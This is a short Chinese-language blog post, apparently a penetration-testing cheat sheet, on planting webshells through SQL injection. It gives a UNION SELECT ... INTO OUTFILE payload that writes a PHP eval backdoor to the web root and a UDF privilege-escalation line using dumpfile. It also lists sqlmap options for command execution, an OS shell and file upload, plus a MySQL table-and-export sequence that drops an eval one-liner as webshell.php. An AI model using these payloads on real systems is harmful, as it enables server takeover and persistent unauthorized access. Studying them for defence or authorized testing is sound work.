SQL注入写webshell


SQL注入写webshell


传统的sql语句写shell

通过sql注入select into outfile实现,如:

1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#

dumpfile、file_put_contents

outfile不能用了怎么办?select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysqlserver 5.1/lib/plugin/xxoo.dll';可以 UDF提权https://www.cnblogs.com/milantgh/p/5444398.html

outfile适合导库,在行末会写入新行并转义,因此不能写入二进制可执行文件。

写shell条件

  • 文件名必须是绝对路径
  • 用户必须有写文件权限

sqlmap写shell

前提需要对目录具有写权限

--os-cmd="net user"

交互式命令执行,注意在使用交互式方式时需知道网站的绝对路径,执行成功后在绝对路径下创建文件返回结果,然后再自动删除。

--os-shell

写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell

关闭sqlmap文件就会被删除

本地写入webshell

先在sqlmap的目录创建mst目录,然后在该目录中创建mst.txt,内容为一句话木马,之后需要两个参数,即本地文件地址和目标文件地址,–file-write “./mst/mst.txt” –filei-dest “网站绝对路径/1.php”

需要最高权限。

mysql写一句话木马

mysql写木马,通常可以通过phpmyadmin来实现

前提:有读写的权限,由CREATE、INSERT、SELECT的权限。

  • 创建一个表

    CREATE TABLE a (cmd text NOT NULL);

  • 插入数据

    INSERT INTO a (cmd) VALUES('<?php eval($_POST['password']);?>');

  • 导出一句话

    SELECT cmd from a into outfile '/var/www/tmp/webshell.php';

  • 删除表

    DROP TABLE IF EXISTS a;


文章作者: Danie1
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Danie1 !
  目录